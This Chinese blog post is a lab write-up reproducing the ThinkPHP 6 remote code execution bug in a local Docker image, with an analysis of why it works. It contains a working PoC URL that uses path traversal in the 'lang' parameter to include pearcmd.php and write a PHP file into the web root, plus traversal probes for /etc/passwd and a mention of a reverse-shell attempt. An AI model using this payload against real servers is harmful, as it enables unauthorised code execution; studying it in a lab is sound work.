39_tp6的rce漏洞
创始人
2024-05-20 06:41:35
0

tp6的rce漏洞

一、环境搭建

使用docker本地搭建tp6环境

1. 下载镜像

docker pull vulfocus/thinkphp:6.0.12

在这里插入图片描述

2. 端口映射

启动镜像,并将80端口映射到8081端口,防止80端口冲突,运行容器

docker run -it -d -p 8081:80 1fc5d159922e

在这里插入图片描述

3. 打开网站

默认的网页目录是在public目录下,如果不加public目录无法打开网页

在这里插入图片描述

二、漏洞复现

poc

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

使用burp抓包
在这里插入图片描述
然后访问a.php,成功解析php代码
在这里插入图片描述

三、原理分析

参考文章:
https://tttang.com/archive/1865/#toc_thinkphp-6
https://www.freebuf.com/articles/web/352154.html

首先,需要tp6开启多语言中间件,才能够实现文件包含
具体原理可以去看参考文章

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../public/index.php

大致上分析是lang这个传的参数,如果不等于默认的参数 zh-cn ,就会调用某个方法,然后不断跟进方法,就可以看到最后会有个include 文件名,这里的文件名就是我们传的参数,因此会造成文件包含

但是直接使用文件包含的话,并没有看到什么效果
可以看到我们想文件包含/etc/passwd,并没有给出回显

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../etc/passwd

在这里插入图片描述

如果说这是文件包含无回显利用的话,那么我传了个php反弹shell文件上传到了/var/www/html/目录下
在这里插入图片描述
在这里插入图片描述
如果说无回显,但是可以包含文件运行的话,那么就应该触发这个反弹shell,使msf成功连接会话才对,但是这里并未成功
在这里插入图片描述

这里也是我不理解的一个点
这个poc是文件包含了/usr/local/lib/php/pearcmd
/usr/local/lib/php/目录下存在pearcmd.php文件
利用这个文件里面的config-create方法来实现写入任意文件任意内容,造成RCE漏洞

但是这个文件既然被文件包含了,而且被运行了,那么为什么我上面试验的反弹shell没有被文件包含,并且执行,很奇怪
在这里插入图片描述
可以看到poc里面写着config-create方法
直接查看文件内容是找不到这个方法的,因为它里面还引入了很多文件
在这里插入图片描述
通过使用grep递归式的查询可以查找出来

grep -r -E 'config-create' ./php

可以看到是在Config.php文件里面有这个方法
在这里插入图片描述
将这个文件复制到本地

docker cp 0501da4d826b:/usr/local/lib/php/PEAR/Command/Config.php  ./Config.php

在这里插入图片描述
这里的数组是介绍config-create方法
在这里插入图片描述
真正实现config-create功能是在下面的doConfigCreate方法中,并且给出需要两个参数

这个方法就是实现创建文件的主要的方法,这也是为什么poc后面的格式是那样写的原因

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

在这里插入图片描述
除了上面的grep找config-create方法之外,还可以使用php pearcmd.php
也可以查看到config-create方法的介绍
config-create是用来创建默认文件的
在这里插入图片描述
在这里插入图片描述

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
修复 爱普生 EPSON L4... L4151 L4153 L4156 L4158 L4163 L4165 L4166 L4168 L4...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...